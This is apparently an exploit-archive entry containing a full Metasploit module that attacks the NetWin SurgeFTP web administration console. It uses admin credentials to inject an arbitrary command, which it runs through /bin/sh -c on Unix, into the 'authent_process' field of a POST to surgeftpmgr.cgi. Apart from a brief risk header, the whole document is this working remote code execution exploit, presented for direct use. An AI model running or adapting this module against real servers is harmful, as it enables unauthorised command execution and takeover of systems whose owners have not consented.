NetWin SurgeFTP Authenticated Admin Command Injection

2012.12.21
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SurgeFTP Remote Command Execution', 'Description' => %q{ This module exploits a flaw in the SurgeFTP server's web-based administrative console to execute arbitary commands. }, 'Author' => [ 'Spencer McIntyre', ], 'License' => MSF_LICENSE, 'References' => [ ], 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'win'], 'Payload' => { 'Space' => 1024, 'DisableNops' => true, }, 'Targets' => [ [ 'Windows', { 'modifier' => "%s" }, ], [ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 06 2012')) register_options( [ OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]), ], self.class) end def exploit user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) command = target['modifier'] % payload.encoded print_status("Invoking command") res = send_request_cgi( { 'uri' => '/cgi/surgeftpmgr.cgi', 'method' => 'POST', 'headers' => { 'Authorization' => "Basic #{user_pass}", }, 'vars_post' => { 'global_smtp' => "", 'global_restart' => "", 'global_style' => "", 'global_bind' => "", 'global_passive_ip' => "", 'global_passive_match' => "", 'global_logon_mode' => "", 'global_log_host' => "", 'global_login_error' => "", 'global_adminip' => "", 'global_total_users' => "", 'global_con_perip' => "", 'global_ssl' => "", 'global_ssl_cipher_list' => "", 'global_implicit_port' => "", 'log_level' => "", 'log_home' => "", 'global_watcher_program_ul' => "", 'global_watcher_program_dl' => "", 'authent_process' => command, 'authent_cmdopts' => "", 'authent_number' => "", 'authent_domain' => "", 'global_strip_user_domain' => "", 'global_noclass' => "", 'global_anon_hammer_over_time' => "", 'global_anon_hammer_max' => "", 'global_anon_hammer_block_time' => "", 'global_port' => "", 'global_mgr_port' => "", 'global_mgr_ssl_port' => "", 'cmd_global_save.x' => "36", 'cmd_global_save.y' => "8", } }) if not (res and res.code == 200) print_error("Failed to execute command") else print_status("Done") end end end


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